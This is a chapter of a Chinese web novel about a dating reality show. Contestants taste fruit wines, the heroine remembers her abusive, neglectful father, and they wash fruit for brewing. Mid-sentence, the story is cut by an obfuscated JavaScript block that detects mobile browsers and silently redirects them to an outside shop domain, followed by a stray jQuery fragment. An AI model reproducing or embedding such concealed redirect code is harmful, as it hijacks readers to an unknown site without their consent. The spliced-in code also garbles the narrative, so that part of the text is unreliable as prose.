文趣网 > 都市小说 > 上恋综喝多误叫前任小狗 > 18.解忧水
    “再给你们介绍下这款百香果酒吧,这是香气浓烈的一款,打开盖子酒好像来到了潮湿闷热的赤道。唯有喝一口酸爽的清酿,才能带来片刻舒爽!”

    “啊!上头。”赵师傅自己喝得很陶醉。

    “这个爽啊!平时锻炼打球来上一杯,不比那奶茶强!”贺阳也喜欢这个,和赵师傅碰了下杯,一饮而尽。

    “喝醉了你还得打车回家。”林曦莞尔。

    “唔...”贺阳感觉耳根子热热的,不知道是醉了,还是有些害羞。

    “最后这款,我推荐给姑娘们,就是这个桃子酒。”

    “用的是最香甜软熟的蜜桃果肉发酵,是甜蜜蜜的桃子香气,喝起来温柔又治愈。是这么多款酒里面最甜的一款。”赵师傅介绍道。

    “好喝。”江泠月被甜丝丝的口感惊喜到了。

    “果酒品尝就到这里结束了,我带大家来选果。其实根据品尝的果酒大家就知道,酒的风味基本都是由水果、基酒和糖决定的。”

    “惯常我们使用的酿酒器具是玻璃瓶,但节目组认为我们可以做一个新的尝试,使用木桶,木香醇厚,更有自然风味。”

    “但尤其注意,木桶需要严苛的酿制环境,避光阴凉是第一位,无水无油是第二位,结实密封是第三位,做到这三点,便能保证不发霉。”

    赵师傅认真讲解,众人认真听讲。

    “所以第一步就是切洗水果,并且控干水分,可以利用这里的吸水纸,再切开。”

    “这些想必不用我教啦,大家自行操作吧。”赵师傅说完便拍拍屁股走了,自己坐到一边,享受自己酿的果酒去了,一杯接着一杯,看起来是真的爱喝。

    叶棠还站在原处,抬头看着酒架上的菠萝话梅酒。

    一开始她就注意到了这个。

    小时候,那男的经常在家里泡这个喝,逢年过节,好不容易回家一次,便爱拿这个出来喝。

    小时候叶棠很馋,好奇味道,咿咿呀呀地伸手想抢。

    那男人都一脸宠溺地笑着说:“小孩子不能喝酒。”

    他不让喝,自己便愈发好奇,趁他不在的时候去偷拿来喝。

    小孩喝不惯酒,只觉得又苦又涩,认为爸爸...那男人在喝毒药,有人蓄意害他,便全部倒掉了。

    他回来发现瓶中空了,将她胖揍一顿。

    年少无知的她,不明白为什么好意保护,却要被赏一顿拳脚。

    而后许多年,他与其他人建立家庭,请她一起去吃饭,那男的依旧嗜酒。

    他们的儿子在饭桌上,失手打碎了他的红酒,他却只是立刻凑上去,关心他的手有没有划伤。

    没有打也没有骂。

    叶棠安安静静地坐在桌边,听见自己心脏破碎的声音。

    十年前的痛感再次传来,她意识到伤心比打骂更痛。

    这一刻她突然非常想喝一口菠萝梅子酒。

    赵师傅发现她垫着脚看着酒架,亮晶晶却有些忧伤的眼神,贴心地打开罐子,给她装了一杯菠萝酒。

    入口是清冽的酸,刺得舌尖麻麻的,紧接着是很淡的甜气,后劲很涩,很凉,她心空荡荡的,整个人怅然若失。

    气味是记忆的开关,原先这一切对她来说只是淡然的回忆,却因为这一口,那股熟悉的被抛弃的感觉,心中的酸楚,拧成一团郁结在她心中。

    叶棠眼眶微红。

    “傻站着干嘛?再不过来水果都被挑完了。”陆景明欠欠的声音传来。

    叶棠这才跟了过去。

    众人都伏在地上选水果。

    陆景明看见那橙色圆滚滚的一篮子,像一个圆球,竟从没见过。

    还有旁边放着一个奇怪弯曲形状的大果,表面上黄色的,泛着一丝绿,也完全不认识。

    “这两个是什么啊?”陆景明躬身拿起一个,声音冷冷地问道。

    林曦有些好笑地看着他:“这是橙子啊?”

    “那这个呢?”

    “芒果。”

    陆景明一双大眼睛压得很低,满是疑惑:“橙子不是水润润的吗,有白色的筋连着一粒粒的肉?”

    “芒果不是一颗颗的吗?深橘色的?”

    “你说的那是切开的吧?”林曦忍俊不禁。

    弹幕都笑起来。

    【芒果都不认识,会不会太夸张?】

    【我家哥哥不是傻子……可能真的是只见过别人剥好的……】

    【终于理解富人为什么会觉得穷人的生活很新奇了。】

    【你们有没有发现叶棠心事重重的?】

    【应该就像你们说的,觉得你家哥哥笨得出奇。】

    其实不然,叶棠想,大少爷想必吃过许多次芒果布丁、芒果蛋糕。

    甚至还有他们高中食堂研发的黑暗料理,橙子炒肉,芒果豆腐,都是切好的芒果块。

    如此大的有着带着皮和果斑,有着生长纹路,茎上还残留着汁液的新鲜大芒果,却是从来没见过。

    浸在蜜糖里长大的人,就是幸福得如此彻底。

    叶棠悲从中来,化作一口自卑的叹息。

    “诶!!!”江泠月突然惊叫道,“这车厘子怎么软塌塌的了,还流水?”

    陆景明不敢相信,伸手碰了碰,发现那原本光滑紧绷的果皮,此刻软塌塌的垂着。

    江泠月细心铺好的保护草,此刻也蔫巴巴的。

    “谁把我们的车厘子弄坏了?”江泠月平常温软的声音此刻变得凌厉,有种不可置信的委屈愤怒。

    叶棠仍沉浸在难过的氛围内,魂不守舍。

    庄疏白突然想起那天叶棠和自己说的防晒伞的作用,樱桃娇贵,想必经不起晒。

    “你们把樱桃放在阳光下晒了吗?”

    江泠月想了想,那天采摘回来之后,他们就把它放在了桌子上,和大家统一放在一起。

    “和大家的放在一起啊?”江泠月着急地说。

    “是不是在比较靠近窗户的位置。”庄疏白问。

    “确实。”陆景明回忆了下。

    “那就是了,当时叶棠抽到一把雨伞,她就告诉我,保护水果防止不要被暴晒是很关键的。”庄疏白说完看了看叶棠。

    叶棠却低头看着地板,眼圈红红的,仿佛在沉思什么。

    听到被叫了自己的名字,才讪讪地抬头看了看,又把头低了下去。

    庄疏白看她不想说话,便接着道:“江泠月你别急,底下的部分应该都是完好的。”

    江泠月着急上去翻开,下面的确实还安然无恙,看起来新鲜硬实。

    “还好呀,陆哥,真是可惜。”她难过地去拽陆景明的衣袖。

    陆景明的眼神却停留在叶棠身上,她一幅丢了魂的样子。

    江泠月却说:“陆哥你在看啥呀,我们去挑些水果洗了吧?”

    陆景明注意着叶棠的方向,没听清这句话,起身走到叶棠的身边,佯装想拿水果,冷声说道:“谁惹你了,一幅失魂落魄的样子。”

    叶棠不说话,甚至没有看他一眼。

    这时那边的赵师傅开口道:“噢,对了,刚刚忘记说了,这便是你们投递了那个珊瑚信的特殊任务,得到收信人的同意后,便可以共同酿制一款酒。”

    听到这里,叶棠旁边一直担忧着她的陈清海,终于名正言顺的开口了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577136|203620||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“叶棠,我们一起挑水果吧。”

    “嗯。”叶棠擦拭下痒痒的眼角。

    在旁边却不被搭理的陆景明,挑水果的手都僵住了。

    一时间只得四下张望,拿了几个李子,又全放回去了,手忙脚乱的样子。

    网友感慨。

    【叶棠是真的不搭理陆景明啊.....有些没礼貌。】

    【完全是一脚踢在空气上。】

    【他那样说话也没有给好脸色的义务吧?】

    【我为什么觉得他嘴硬但很在乎的样子。】

    而身后因被忽略而片刻冷脸的江泠月,听到了师傅说的特殊任务,又追了上来,娇滴滴地说:“陆哥,我们一起酿呀,你想挑水果,怎么不问问我的意见呢?”

    “我刚刚和你说话呢。”

    陆景明转过身,歉意地挽起江泠月的胳膊:“是我耳背了,我们来。”

    远处陈清海冲着叶棠温柔地笑了笑,眉眼弯弯,神色平静。

    做出举杯一饮而尽的动作,还发出舒服的“哈”一声,惯常柔和温润的脸上,此刻出现了几分孩子气的狡黠笑容。

    “何以解忧,唯有杜康。”

    “有心事的话,你与我一起洗些水果。”

    “就做个小孩,让潺潺流水,带走你的不开心。”

    “谢谢。”

    叶棠礼貌点点头,接过陈清海递来的筐子,往里面挑了不少青提和橙子,很快便有了沉甸甸一捧。

    两个人站到水池旁,叶棠刚想把水果倒进去。

    陈清海却挡住了她的手,而是把水龙头开到了最大,任水哗啦啦流满了整个池子。

    他又做出请的姿势,让叶棠把水果一次性投进去。

    咕咚一下溅起水花,打湿了陈清海的衣袖。

    叶棠有些腼腆地挠挠头。

    透明的水池里,悬浮着圆滚滚的橙子,陈清海完全没介意,直接把手放了进去,长袖袖口全湿了,搅得橙子上下漂浮,“好凉爽,你也来!”

    四只手一起搅得水滚来滚去,橙子到处飘飘荡荡,水仿佛也变得变得轻盈了起来,化作丝绸,化作飘絮,从指尖流淌而过。

    叶棠像是回到了小时候,站在水池边捣乱。

    那时快乐如此简单。

    “人如浮萍,哪里是可以真正依靠的地方呢?”

    叶棠怅惘地自言自语、说话断断续续的,脸颊微红,脑子有些晕乎乎的,她感觉自己酒喝多了。

    碰到凉凉的水又放松了下,便絮絮叨叨起来。

    “其实并不是不愿依靠,只是不想。”

    “当遇到了真正值得信任之人,自会如小苗,抓到那拔根的土地,长成参天大树。”

    陈清海淡淡道,说着把橙子都捞了起来,用吸水纸擦干,整齐地切开,一片片,都泛着晶莹的光泽。

    任由叶棠在那继续玩弄葡萄,一个个扑通扑通被投入水中,像是晶莹的绿色石头,灯光映照在水面上,重重波光衬着绿,生机无限蔓延。

    陈清海把所有水果都切好,整齐地放在不锈钢铁盒里,码在桌子上。

    陆景明和林曦、江泠月合作洗好了好几盒的水果,又自己离开,拿个一个很大的菠萝过来。

    他一摸那菠萝皮,却被割了下手。

    “嘶!”

    他眉头皱了起来,面露不悦,“这菠萝怎么还有刺。”

    “你要吃菠萝吗?”林曦不解道,“当然有呀,这是最难处理的水果了。”

    “嗯嗯。”陆景明不死心,用力一刀切下去,手起刀落,菠萝被一分为二。

    他像是砍猪肉一样,想把菠萝直接砍成六七块。